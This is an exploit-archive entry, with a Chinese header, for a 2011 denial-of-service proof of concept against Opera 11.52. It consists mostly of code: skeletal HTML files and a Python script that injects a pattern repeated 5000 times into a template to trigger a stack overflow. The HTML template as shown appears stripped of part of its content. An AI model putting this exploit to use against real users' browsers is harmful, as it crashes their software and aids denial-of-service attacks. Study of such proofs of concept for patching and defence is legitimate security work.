发布 2011-10-20 漏洞条目

Opera 11.52 – Stack Overflow

Exploit Source

## _ (`-') _ pigtail23 (`-') (`-') _ _ www.remoteshell.de ##

## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ##

## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ##

##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ##

##| |_.' | | | )| | .-, `--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ##

##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ##

##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ##

##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ##

###################################################################################

October 20, 2011

Number two, tomorrow may the next!? 0__o

The second Opera Denial of Service PoC (Stack Overflow)

Testsystem: WinXP SP3, Win7(64 bit)

Opera version: 11.? <= 11.52

###################################################################################

poc2.html:

<html>

<body>

<html>

<body>

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc2.html'

content = open('template2.html', 'r').read()

buff = '\.]+' * 5000

rc = 300

content2 = content[:rc] + buff + content[rc:]

FILE = open(filename,"w")

FILE.write(content2)

FILE.close()

###################################################################################

template2.html:

<html>

<body>

//]]></script>

<html>

<body>

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